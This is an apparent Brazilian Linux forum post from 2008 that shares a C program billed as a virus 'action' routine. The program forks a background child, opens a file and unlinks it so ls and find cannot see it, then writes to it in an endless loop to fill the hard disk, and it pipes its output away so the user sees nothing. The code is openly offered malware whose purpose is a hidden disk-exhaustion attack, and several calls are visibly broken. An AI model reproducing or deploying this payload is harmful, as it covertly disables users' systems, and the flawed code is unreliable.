Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 5.038 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char
*buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo
*/
pipe (desc); /* com a saída padrão fechado,
fazemos com que a saída passe a ser o pipe. O
descritor dessa nova saida será armazenados em desc
*/
ifd=open("./lotaHD", "w+",0777); /* abre o
arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop
infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo
para a gravação, é o tempo que se escreve esta
string na saída. Por isso usamos o pipe. Não
queremos que o vírus fique escrevendo nada no vídeo
*/
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro
processo, pois o vírus terá que continuar sua
execução enquanto sua ação é realizada. */
/* Não poderia ser uma thead, pois
mesmo que o programa hospedeiro se encerre, o
processo tem que continuar */
/* o processo filho que foi criado é quem deve
se encarregar da execução da ação, o pai tem que
continuar a executar as funcionalidades restantes
do vírus */
if (i==0)
acao();
}
SIMULADOR DE DADOS DE RPG - Baseado em Vampiro A Máscara - Alea Jacta Est ver2.0.1
Retirar ocorrências de uma substring dentro de uma string
Nenhum comentário foi encontrado.
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Script de montagem de chroot automatica
Atualizar Linux Mint 22.2 para 22.3 beta
Jogar games da Battle.net no Linux com Faugus Launcher
Como fazer a Instalação de aplicativos para acesso remoto ao Linux
Assisti Avatar 3: Fogo e Cinzas (4)
Conky, alerta de temperatura alta (11)









